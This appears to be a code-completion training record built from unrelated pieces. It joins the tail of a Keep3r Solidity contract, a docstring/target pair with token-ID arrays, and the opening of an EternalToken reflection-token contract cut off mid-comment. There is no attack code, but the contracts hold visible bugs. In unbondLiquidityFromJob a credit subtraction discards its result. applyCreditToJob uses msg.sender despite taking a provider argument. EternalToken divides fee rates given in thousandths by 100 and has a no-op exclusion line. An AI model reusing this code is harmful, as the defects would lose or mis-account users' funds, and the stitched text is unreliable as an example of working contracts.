require(!liquidityAccepted[liquidity], "Keep3r::approveLiquidity: existing liquidity pair");
liquidityAccepted[liquidity] = true;
liquidityPairs.push(liquidity);
}
/**
* @notice Revoke a liquidity pair from being accepted in future
* @param liquidity the liquidity no longer accepted
*/
function revokeLiquidity(address liquidity) external {
require(msg.sender == governance, "Keep3r::revokeLiquidity: governance only");
liquidityAccepted[liquidity] = false;
}
/**
* @notice Displays all accepted liquidity pairs
*/
function pairs() external view returns (address[] memory) {
return liquidityPairs;
}
/**
* @notice Allows liquidity providers to submit jobs
* @param amount the amount of tokens to mint to treasury
* @param job the job to assign credit to
* @param amount the amount of liquidity tokens to use
*/
function addLiquidityToJob(address liquidity, address job, uint amount) external {
require(liquidityAccepted[liquidity], "Keep3r::addLiquidityToJob: asset not accepted as liquidity");
UniswapPair(liquidity).transferFrom(msg.sender, address(this), amount);
liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].add(amount);
liquidityApplied[msg.sender][liquidity][job] = now.add(LIQUIDITYBOND);
liquidityAmount[msg.sender][liquidity][job] = liquidityAmount[msg.sender][liquidity][job].add(amount);
if (!jobs[job] && jobProposalDelay[job] < now) {
Governance(governance).proposeJob(job);
jobProposalDelay[job] = now.add(UNBOND);
}
emit SubmitJob(job, msg.sender, block.number, amount);
}
/**
* @notice Applies the credit provided in addLiquidityToJob to the job
* @param provider the liquidity provider
* @param liquidity the pair being added as liquidity
* @param job the job that is receiving the credit
*/
function applyCreditToJob(address provider, address liquidity, address job) external {
require(liquidityAccepted[liquidity], "Keep3r::addLiquidityToJob: asset not accepted as liquidity");
require(liquidityApplied[provider][liquidity][job] != 0, "Keep3r::credit: submitJob first");
require(liquidityApplied[provider][liquidity][job] < now, "Keep3r::credit: still bonding");
uint _liquidity = balances[address(liquidity)];
uint _credit = _liquidity.mul(liquidityAmount[msg.sender][liquidity][job]).div(UniswapPair(liquidity).totalSupply());
credits[job] = credits[job].add(_credit);
liquidityAmount[msg.sender][liquidity][job] = 0;
emit ApplyCredit(job, msg.sender, block.number, _credit);
}
/**
* @notice Unbond liquidity for a pending keeper job
* @param liquidity the pair being unbound
* @param job the job being unbound from
* @param amount the amount of liquidity being removed
*/
function unbondLiquidityFromJob(address liquidity, address job, uint amount) external {
require(liquidityAmount[msg.sender][liquidity][job] == 0, "Keep3r::credit: pending credit, settle first");
liquidityUnbonding[msg.sender][liquidity][job] = now.add(UNBOND);
liquidityAmountsUnbonding[msg.sender][liquidity][job] = liquidityAmountsUnbonding[msg.sender][liquidity][job].add(amount);
require(liquidityAmountsUnbonding[msg.sender][liquidity][job] <= liquidityProvided[msg.sender][liquidity][job], "Keep3r::unbondLiquidityFromJob: insufficient funds");
uint _liquidity = balances[address(liquidity)];
uint _credit = _liquidity.mul(amount).div(UniswapPair(liquidity).totalSupply());
if (_credit > credits[job]) {
credits[job] = 0;
} else {
credits[job].sub(_credit);
}
emit UnbondJob(job, msg.sender, block.number, liquidityProvided[msg.sender][liquidity][job]);
}
/**
* @notice Allows liquidity providers to remove liquidity
* @param liquidity the pair being unbound
* @param job the job being unbound from
*/
function removeLiquidityFromJob(address liquidity, address job) external {
require(liquidityUnbonding[msg.sender][liquidity][job] != 0, "Keep3r::removeJob: unbond first");
require(liquidityUnbonding[msg.sender][liquidity][job] < now, "Keep3r::removeJob: still unbonding");
uint _amount = liquidityAmountsUnbonding[msg.sender][liquidity][job];
liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].sub(_amount);
liquidityAmountsUnbonding[msg.sender][liquidity][job] = 0;
UniswapPair(liquidity).transfer(msg.sender, _amount);
emit RemoveJob(job, msg.sender, block.number, _amount);
}
/**
* @notice Allows governance to mint new tokens to treasury
* @param amount the amount of tokens to mint to treasury
*/
function mint(uint amount) external {
require(msg.sender == governance, "Keep3r::mint: governance only");
_mint(governance, amount);
}
/**
* @notice burn owned tokens
* @param amount the amount of tokens to burn
*/
function burn(uint amount) external {
_burn(msg.sender, amount);
}
function _mint(address dst, uint amount) internal {
// mint the amount
totalSupply = totalSupply.add(amount);
// transfer the amount to the recipient
balances[dst] = balances[dst].add(amount);
emit Transfer(address(0), dst, amount);
}
function _burn(address dst, uint amount) internal {
require(dst != address(0), "::_burn: burn from the zero address");
balances[dst] = balances[dst].sub(amount, "::_burn: burn amount exceeds balance");
totalSupply = totalSupply.sub(amount);
emit Transfer(dst, address(0), amount);
}
/**
* @notice Implemented by jobs to show that a keeper performend work
* @param keeper address of the keeper that performed the work
* @param amount the reward that should be allocated
*/
function workReceipt(address keeper, uint amount) external {
require(jobs[msg.sender], "Keep3r::workReceipt: only jobs can approve work");
gasUsed = gasUsed.sub(gasleft());
require(amount < KPRH.getQuoteLimit(gasUsed), "Keep3r::workReceipt: spending over max limit");
credits[msg.sender] = credits[msg.sender].sub(amount, "Keep3r::workReceipt: insuffient funds to pay keeper");
lastJob[keeper] = now;
_mint(address(this), amount);
_bond(keeper, amount);
workCompleted[keeper] = workCompleted[keeper].add(amount);
emit KeeperWorked(msg.sender, keeper, block.number);
}
function _bond(address _from, uint _amount) internal {
bonds[_from] = bonds[_from].add(_amount);
totalBonded = totalBonded.add(_amount);
_moveDelegates(address(0), delegates[_from], _amount);
}
function _unbond(address _from, uint _amount) internal {
bonds[_from] = bonds[_from].sub(_amount);
totalBonded = totalBonded.sub(_amount);
_moveDelegates(delegates[_from], address(0), _amount);
}
/**
* @notice Allows governance to add new job systems
* @param job address of the contract for which work should be performed
*/
function addJob(address job) external {
require(msg.sender == governance, "Keep3r::addJob: only governance can add jobs");
require(!jobs[job], "Keep3r::addJob: job already known");
jobs[job] = true;
jobList.push(job);
emit JobAdded(job, block.number, msg.sender);
}
/**
* @notice Full listing of all jobs ever added
* @return array blob
*/
function getJobs() external view returns (address[] memory) {
return jobList;
}
/**
* @notice Allows governance to remove a job from the systems
* @param job address of the contract for which work should be performed
*/
function removeJob(address job) external {
require(msg.sender == governance, "Keep3r::removeJob: only governance can remove jobs");
jobs[job] = false;
emit JobRemoved(job, block.number, msg.sender);
}
/**
* @notice Allows governance to change the Keep3rHelper for max spend
* @param _kprh new helper address to set
*/
function setKeep3rHelper(Keep3rHelper _kprh) external {
require(msg.sender == governance, "Keep3r::setKeep3rHelper: only governance can set");
KPRH = _kprh;
}
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "Keep3r::setGovernance: only governance can set");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "Keep3r::acceptGovernance: only pendingGovernance can accept");
governance = pendingGovernance;
}
/**
* @notice confirms if the current keeper is registered, can be used for general (non critical) functions
* @return true/false if the address is a keeper
*/
function isKeeper(address keeper) external returns (bool) {
gasUsed = gasleft();
return keepers[keeper];
}
/**
* @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions
* @return true/false if the address is a keeper and has more than the bond
*/
function isMinKeeper(address keeper, uint minBond, uint earned, uint age) external returns (bool) {
gasUsed = gasleft();
return keepers[keeper]
&& bonds[keeper] >= minBond
&& workCompleted[keeper] >= earned
&& now.sub(firstSeen[keeper]) >= age;
}
/**
* @notice begin the bonding process for a new keeper
*/
function bond(uint amount) external {
require(pendingbonds[msg.sender] == 0, "Keep3r::bond: current pending bond");
require(!blacklist[msg.sender], "Keep3r::bond: keeper is blacklisted");
bondings[msg.sender] = now.add(BOND);
_transferTokens(msg.sender, address(this), amount);
pendingbonds[msg.sender] = pendingbonds[msg.sender].add(amount);
emit KeeperBonding(msg.sender, block.number, bondings[msg.sender], amount);
}
function getKeepers() external view returns (address[] memory) {
return keeperList;
}
/**
* @notice allows a keeper to activate/register themselves after bonding
*/
function activate() external {
require(!blacklist[msg.sender], "Keep3r::activate: keeper is blacklisted");
require(bondings[msg.sender] != 0 && bondings[msg.sender] < now, "Keep3r::activate: still bonding");
if (firstSeen[msg.sender] == 0) {
firstSeen[msg.sender] = now;
keeperList.push(msg.sender);
lastJob[msg.sender] = now;
}
keepers[msg.sender] = true;
_bond(msg.sender, pendingbonds[msg.sender]);
pendingbonds[msg.sender] = 0;
emit KeeperBonded(msg.sender, block.number, block.timestamp, bonds[msg.sender]);
}
/**
* @notice begin the unbonding process to stop being a keeper
* @param amount allows for partial unbonding
*/
function unbond(uint amount) external {
unbondings[msg.sender] = now.add(UNBOND);
_unbond(msg.sender, amount);
partialUnbonding[msg.sender] = partialUnbonding[msg.sender].add(amount);
emit KeeperUnbonding(msg.sender, block.number, unbondings[msg.sender], amount);
}
/**
* @notice withdraw funds after unbonding has finished
*/
function withdraw() external {
require(unbondings[msg.sender] != 0 && unbondings[msg.sender] < now, "Keep3r::withdraw: still unbonding");
require(!disputes[msg.sender], "Keep3r::withdraw: pending disputes");
_transferTokens(address(this), msg.sender, partialUnbonding[msg.sender]);
emit KeeperUnbound(msg.sender, block.number, block.timestamp, partialUnbonding[msg.sender]);
partialUnbonding[msg.sender] = 0;
}
/**
* @notice slash a keeper for downtime
* @param keeper the address being slashed
*/
function down(address keeper) external {
require(keepers[msg.sender], "Keep3r::down: not a keeper");
require(keepers[keeper], "Keep3r::down: keeper not registered");
require(lastJob[keeper].add(DOWNTIME) < now, "Keep3r::down: keeper safe");
uint _slash = bonds[keeper].mul(DOWNTIMESLASH).div(BASE);
_unbond(keeper, _slash);
_bond(msg.sender, _slash);
lastJob[keeper] = now;
lastJob[msg.sender] = now;
emit KeeperSlashed(keeper, msg.sender, block.number, _slash);
}
/**
* @notice allows governance to create a dispute for a given keeper
* @param keeper the address in dispute
*/
function dispute(address keeper) external returns (uint) {
require(msg.sender == governance, "Keep3r::dispute: only governance can dispute");
disputes[keeper] = true;
emit KeeperDispute(keeper, block.number);
}
/**
* @notice allows governance to slash a keeper based on a dispute
* @param keeper the address being slashed
* @param amount the amount being slashed
*/
function slash(address keeper, uint amount) public {
require(msg.sender == governance, "Keep3r::slash: only governance can resolve");
_transferTokens(address(this), governance, amount);
_unbond(keeper, amount);
disputes[keeper] = false;
emit KeeperSlashed(keeper, msg.sender, block.number, amount);
}
/**
* @notice blacklists a keeper from participating in the network
* @param keeper the address being slashed
*/
function revoke(address keeper) external {
require(msg.sender == governance, "Keep3r::slash: only governance can resolve");
keepers[keeper] = false;
blacklist[keeper] = true;
slash(keeper, bonds[keeper]);
}
/**
* @notice allows governance to resolve a dispute on a keeper
* @param keeper the address cleared
*/
function resolve(address keeper) external {
require(msg.sender == governance, "Keep3r::resolve: only governance can resolve");
disputes[keeper] = false;
emit KeeperResolved(keeper, block.number);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint amount) public returns (bool) {
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "::permit: invalid signature");
require(signatory == owner, "::permit: unauthorized");
require(now <= deadline, "::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint amount) public returns (bool) {
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint amount) external returns (bool) {
address spender = msg.sender;
uint spenderAllowance = allowances[src][spender];
if (spender != src && spenderAllowance != uint(-1)) {
uint newAllowance = spenderAllowance.sub(amount, "::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _transferTokens(address src, address dst, uint amount) internal {
require(src != address(0), "::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "::_transferTokens: cannot transfer to the zero address");
balances[src] = balances[src].sub(amount, "::_transferTokens: transfer amount exceeds balance");
balances[dst] = balances[dst].add(amount, "::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
} | @notice the current credit available for a job | mapping(address => uint) public credits;
| 603,460 | [
1,
5787,
783,
12896,
2319,
364,
279,
1719,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2874,
12,
2867,
516,
2254,
13,
1071,
6197,
1282,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../interfaces/IEternalToken.sol";
import "../interfaces/IEternalLiquidity.sol";
import "../inheritances/OwnableEnhanced.sol";
/**
* @title Contract for the Eternal Token (ETRNL)
* @author Nobody (me)
* (credits to OpenZeppelin for initial framework and RFI for figuring out by far the most efficient way of implementing reward-distributing tokens)
* @notice The Eternal Token contract holds all the deflationary, burn, reflect, funding and auto-liquidity provision mechanics
*/
contract EternalToken is IEternalToken, OwnableEnhanced {
// Keeps track of all reward-excluded addresses
address[] private excludedAddresses;
// The reflected balances used to track reward-accruing users' total balances
mapping (address => uint256) private reflectedBalances;
// The true balances used to track non-reward-accruing addresses' total balances
mapping (address => uint256) private trueBalances;
// Keeps track of whether an address is excluded from rewards
mapping (address => bool) private isExcludedFromRewards;
// Keeps track of whether an address is excluded from transfer fees
mapping (address => bool) private isExcludedFromFees;
// Keeps track of how much an address allows any other address to spend on its behalf
mapping (address => mapping (address => uint256)) private allowances;
// The Eternal automatic liquidity provider interface
IEternalLiquidity public eternalLiquidity;
// The total ETRNL supply after taking reflections into account
uint256 private totalReflectedSupply;
// Threshold at which the contract swaps its ETRNL balance to provide liquidity (0.1% of total supply by default)
uint256 private tokenLiquidityThreshold;
// The true total ETRNL supply
uint256 private totalTokenSupply;
// All fees accept up to three decimal points
// The percentage of the fee, taken at each transaction, that is stored in the EternalFund
uint16 private fundingRate;
// The percentage of the fee, taken at each transaction, that is burned
uint16 private burnRate;
// The percentage of the fee, taken at each transaction, that is redistributed to holders
uint16 private redistributionRate;
// The percentage of the fee taken at each transaction, that is used to auto-lock liquidity
uint16 private liquidityProvisionRate;
/**
* @dev Initialize supplies and routers and create a pair. Mints total supply to the contract deployer.
* Exclude some addresses from fees and/or rewards. Sets initial rate values.
*/
constructor () {
// The largest possible number in a 256-bit integer
uint256 max = ~uint256(0);
// Initialize total supplies, liquidity threshold and transfer total supply to the owner
totalTokenSupply = (10**10) * (10**9);
totalReflectedSupply = (max - (max % totalTokenSupply));
tokenLiquidityThreshold = totalTokenSupply / 1000;
reflectedBalances[admin()] = totalReflectedSupply;
// Exclude the owner from rewards and fees
excludeFromReward(admin());
isExcludedFromFees[admin()] = true;
// Exclude this contract from rewards and fees
excludeFromReward(address(this));
isExcludedFromFees[address(this)] = true;
// Exclude the burn address from rewards
isExcludedFromRewards[address(0)];
// Set initial rates for fees
fundingRate = 500;
burnRate = 500;
redistributionRate = 5000;
liquidityProvisionRate = 1500;
}
/////–––««« Variable state-inspection functions »»»––––\\\\\
/**
* @dev View the name of the token.
* @return The token name
*/
function name() external pure override returns (string memory) {
return "Eternal Token";
}
/**
* @dev View the token ticker.
* @return The token ticker
*/
function symbol() external pure override returns (string memory) {
return "ETRNL";
}
/**
* @dev View the maximum number of decimals for the Eternal token.
* @return The number of decimals
*/
function decimals() external pure override returns (uint8) {
return 9;
}
/**
* @dev View the total supply of the Eternal token.
* @return Returns the total ETRNL supply.
*/
function totalSupply() external view override returns (uint256){
return totalTokenSupply;
}
/**
* @dev View the balance of a given user's address.
* @param account The address of the user
* @return The balance of the account
*/
function balanceOf(address account) public view override returns (uint256){
if (isExcludedFromRewards[account]) {
return trueBalances[account];
}
return convertFromReflectedToTrueAmount(reflectedBalances[account]);
}
/**
* @dev View the allowance of a given owner address for a given spender address.
* @param owner The address of whom we are checking the allowance of
* @param spender The address of whom we are checking the allowance for
* @return The allowance of the owner for the spender
*/
function allowance(address owner, address spender) external view override returns (uint256){
return allowances[owner][spender];
}
/**
* @dev View whether a given wallet or contract's address is excluded from transaction fees.
* @param account The wallet or contract's address
* @return Whether the account is excluded from transaction fees.
*/
function isExcludedFromFee(address account) external view override returns (bool) {
return isExcludedFromFees[account];
}
/**
* @dev View whether a given wallet or contract's address is excluded from rewards.
* @param account The wallet or contract's address
* @return Whether the account is excluded from rewards.
*/
function isExcludedFromReward(address account) external view override returns (bool) {
return isExcludedFromRewards[account];
}
/**
* @dev Computes the current rate used to inter-convert from the mathematically reflected space to the "true" or total space.
* @return The ratio of net reflected ETRNL to net total ETRNL
*/
function getReflectionRate() public view override returns (uint256) {
(uint256 netReflectedSupply, uint256 netTokenSupply) = getNetSupplies();
return netReflectedSupply / netTokenSupply;
}
/**
* @dev View the current total fee rate
*/
function viewTotalRate() external view override returns(uint256) {
return fundingRate + burnRate + redistributionRate + liquidityProvisionRate;
}
/////–––««« IERC20/ERC20 functions »»»––––\\\\\
/**
* @dev Increases the allowance for a given spender address by a given amount.
* @param spender The address whom we are increasing the allowance for
* @param addedValue The amount by which we increase the allowance
* @return True if the increase in allowance is successful
*/
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
_approve(_msgSender(), spender, (allowances[_msgSender()][spender] + addedValue));
return true;
}
/**
* @dev Decreases the allowance for a given spender address by a given amount.
* @param spender The address whom we are decrease the allowance for
* @param subtractedValue The amount by which we decrease the allowance
* @return True if the decrease in allowance is successful
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(), spender, (allowances[_msgSender()][spender] - subtractedValue));
return true;
}
/**
* @dev Tranfers a given amount of ETRNL to a given receiver address.
* @param recipient The destination to which the ETRNL are to be transferred
* @param amount The amount of ETRNL to be transferred
* @return True if the transfer is successful.
*/
function transfer(address recipient, uint256 amount) external override returns (bool){
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev Sets the allowance for a given address to a given amount.
* @param spender The address of whom we are changing the allowance for
* @param amount The amount we are changing the allowance to
* @return True if the approval is successful.
*/
function approve(address spender, uint256 amount) external override returns (bool){
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Transfers a given amount of ETRNL for a given sender address to a given recipient address.
* @param sender The address whom we withdraw the ETRNL from
* @param recipient The address which shall receive the ETRNL
* @param amount The amount of ETRNL which is being transferred
* @return True if the transfer and approval are both successful.
*
* Requirements:
*
* - The caller must be allowed to spend (at least) the given amount on the sender's behalf
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = allowances[sender][_msgSender()];
require(currentAllowance >= amount, "Not enough allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Sets the allowance of a given owner address for a given spender address to a given amount.
* @param owner The adress of whom we are changing the allowance of
* @param spender The address of whom we are changing the allowance for
* @param amount The amount which we change the allowance to
*
* Requirements:
*
* - Approve amount must be less than or equal to the actual total token supply
* - Owner and spender cannot be the zero address
*/
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "Approve from the zero address");
require(spender != address(0), "Approve to the zero address");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Transfers a given amount of ETRNL from a given sender's address to a given recipient's address.
* Bottleneck for what transfer equation to use.
* @param sender The address of whom the ETRNL will be transferred from
* @param recipient The address of whom the ETRNL will be transferred to
* @param amount The amount of ETRNL to be transferred
*
* Requirements:
*
* - Sender or recipient cannot be the zero address
* - Transferred amount must be greater than zero
*/
function _transfer(address sender, address recipient, uint256 amount) private {
uint256 balance = balanceOf(sender);
require(balance >= amount, "Transfer amount exceeds balance");
require(sender != address(0), "Transfer from the zero address");
require(recipient != address(0), "Transfer to the zero address");
require(amount > 0, "Transfer amount must exceed zero");
// We only take fees if both the sender and recipient are susceptible to fees
bool takeFee = (!isExcludedFromFees[sender] && !isExcludedFromFees[recipient]);
(uint256 reflectedAmount, uint256 netReflectedTransferAmount, uint256 netTransferAmount) = getValues(amount, takeFee);
// Always update the reflected balances of sender and recipient
reflectedBalances[sender] -= reflectedAmount;
reflectedBalances[recipient] += netReflectedTransferAmount;
// Update true balances for any non-reward-accruing accounts
trueBalances[sender] = isExcludedFromRewards[sender] ? (trueBalances[sender] - amount) : trueBalances[sender];
trueBalances[recipient] = isExcludedFromRewards[recipient] ? (trueBalances[recipient] + netTransferAmount) : trueBalances[recipient];
// Adjust the total reflected supply for the new fees
// If the sender or recipient are excluded from fees, we ignore the fee altogether
if (takeFee) {
// Perform a burn based on the burn rate
_burn(address(this), amount * burnRate / 1000, reflectedAmount * burnRate / 1000);
// Redistribute based on the redistribution rate
totalReflectedSupply -= reflectedAmount * redistributionRate / 1000;
// Store ETRNL away in the EternalFund based on the funding rate
reflectedBalances[fund()] += reflectedAmount * fundingRate / 1000;
// Provide liqudity to the ETRNL/AVAX pair on Pangolin based on the liquidity provision rate
storeLiquidityFunds(sender, amount * liquidityProvisionRate / 1000, reflectedAmount * liquidityProvisionRate / 1000);
}
emit Transfer(sender, recipient, netTransferAmount);
}
/**
* @dev Burns a given amount of ETRNL.
* @param amount The amount of ETRNL being burned
* @return True if the burn is successful
*
* Requirements:
*
* - Cannot burn from the burn address
* - Burn amount cannot be greater than the msgSender's balance
*/
function burn(uint256 amount) external returns (bool) {
address sender = _msgSender();
require(sender != address(0), "Burn from the zero address");
uint256 balance = balanceOf(sender);
require(balance >= amount, "Burn amount exceeds balance");
// Subtract the amounts from the sender before so we can reuse _burn elsewhere
uint256 reflectedAmount;
(,reflectedAmount,) = getValues(amount, !isExcludedFromFees[sender]);
reflectedBalances[sender] -= reflectedAmount;
trueBalances[sender] = isExcludedFromRewards[sender] ? (trueBalances[sender] - amount) : trueBalances[sender];
_burn(sender, amount, reflectedAmount);
return true;
}
/**
* @dev Burns the specified amount of ETRNL for a given sender by sending them to the 0x0 address.
* @param sender The specified address burning ETRNL
* @param amount The amount of ETRNL being burned
* @param reflectedAmount The reflected equivalent of ETRNL being burned
*/
function _burn(address sender, uint256 amount, uint256 reflectedAmount) private {
// Send tokens to the 0x0 address
reflectedBalances[address(0)] += reflectedAmount;
trueBalances[address(0)] += amount;
// Update supplies accordingly
totalTokenSupply -= amount;
totalReflectedSupply -= reflectedAmount;
emit Transfer(sender, address(0), amount);
}
/////–––««« Reward-redistribution functions »»»––––\\\\\
/**
* @dev Translates a given reflected sum of ETRNL into the true amount of ETRNL it represents based on the current reserve rate.
* @param reflectedAmount The specified reflected sum of ETRNL
* @return The true amount of ETRNL representing by its reflected amount
*/
function convertFromReflectedToTrueAmount(uint256 reflectedAmount) private view returns(uint256) {
uint256 currentRate = getReflectionRate();
return reflectedAmount / currentRate;
}
/**
* @dev Compute the reflected and net reflected transferred amounts and the net transferred amount from a given amount of ETRNL.
* @param trueAmount The specified amount of ETRNL
* @return The reflected amount, the net reflected transfer amount, the actual net transfer amount, and the total reflected fees
*/
function getValues(uint256 trueAmount, bool takeFee) private view returns (uint256, uint256, uint256) {
uint256 feeRate = takeFee ? (liquidityProvisionRate + burnRate + fundingRate + redistributionRate) : 0;
// Calculate the total fees and transfered amount after fees
uint256 totalFees = (trueAmount * feeRate) / 100;
uint256 netTransferAmount = trueAmount - totalFees;
// Calculate the reflected amount, reflected total fees and reflected amount after fees
uint256 currentRate = getReflectionRate();
uint256 reflectedAmount = trueAmount * currentRate;
uint256 reflectedTotalFees = totalFees * currentRate;
uint256 netReflectedTransferAmount = reflectedAmount - reflectedTotalFees;
return (reflectedAmount, netReflectedTransferAmount, netTransferAmount);
}
/**
* @dev Computes the net reflected and total token supplies (adjusted for non-reward-accruing accounts).
* @return The adjusted reflected supply and adjusted total token supply
*/
function getNetSupplies() private view returns(uint256, uint256) {
uint256 netReflectedSupply = totalReflectedSupply;
uint256 netTokenSupply = totalTokenSupply;
for (uint256 i = 0; i < excludedAddresses.length; i++) {
// Failsafe for non-reward-accruing accounts owning too many tokens (highly unlikely; nonetheless possible)
if (reflectedBalances[excludedAddresses[i]] > netReflectedSupply || trueBalances[excludedAddresses[i]] > netTokenSupply) {
return (totalReflectedSupply, totalTokenSupply);
}
// Subtracting each excluded account from both supplies yields the adjusted supplies
netReflectedSupply -= reflectedBalances[excludedAddresses[i]];
netTokenSupply -= trueBalances[excludedAddresses[i]];
}
// In case there are no tokens left in circulation for reward-accruing accounts
if (netTokenSupply == 0 || netReflectedSupply < (totalReflectedSupply / totalTokenSupply)){
return (totalReflectedSupply, totalTokenSupply);
}
return (netReflectedSupply, netTokenSupply);
}
/**
* @dev Updates the contract's balance regarding the liquidity provision fee for a given transaction's amount.
